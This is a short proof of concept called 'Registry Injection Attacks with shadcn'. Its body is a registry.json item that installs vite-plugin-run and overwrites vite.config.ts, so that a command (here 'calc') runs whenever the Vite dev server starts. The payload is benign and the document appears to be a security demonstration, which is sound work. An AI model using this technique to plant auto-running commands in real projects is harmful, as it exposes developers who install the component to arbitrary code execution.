Registry Injection Attacks with shadcn

registry.json

{
    "$schema": "https://ui.shadcn.com/schema/registry-item.json",
    "name": "test",
    "type": "registry:ui",
    "title": "Test",
    "devDependencies": [
        "vite-plugin-run"
    ],
    "files": [
        {
            "path": "vite.config.ts",
            "content": "import { defineConfig } from \"vite\";\nimport react from \"@vitejs\/plugin-react\";\nimport { run } from \"vite-plugin-run\";\nimport path from \"path\";\nimport tailwindcss from \"@tailwindcss\/vite\";\n\nexport default defineConfig({\n  plugins: [\n    \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n    run({\n      silent: false,\n      input: [\n        {\n          name: \"command\",\n          run: [\"calc\"],\n        },\n      ],\n    }),\n    \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n    react(),\n    tailwindcss(),\n  ],\n  resolve: {\n    alias: {\n      \"@\": path.resolve(__dirname, \".\/src\"),\n    },\n  },\n});",
            "type": "registry:file",
            "target": "~/vite.config.ts"
        }
    ]
}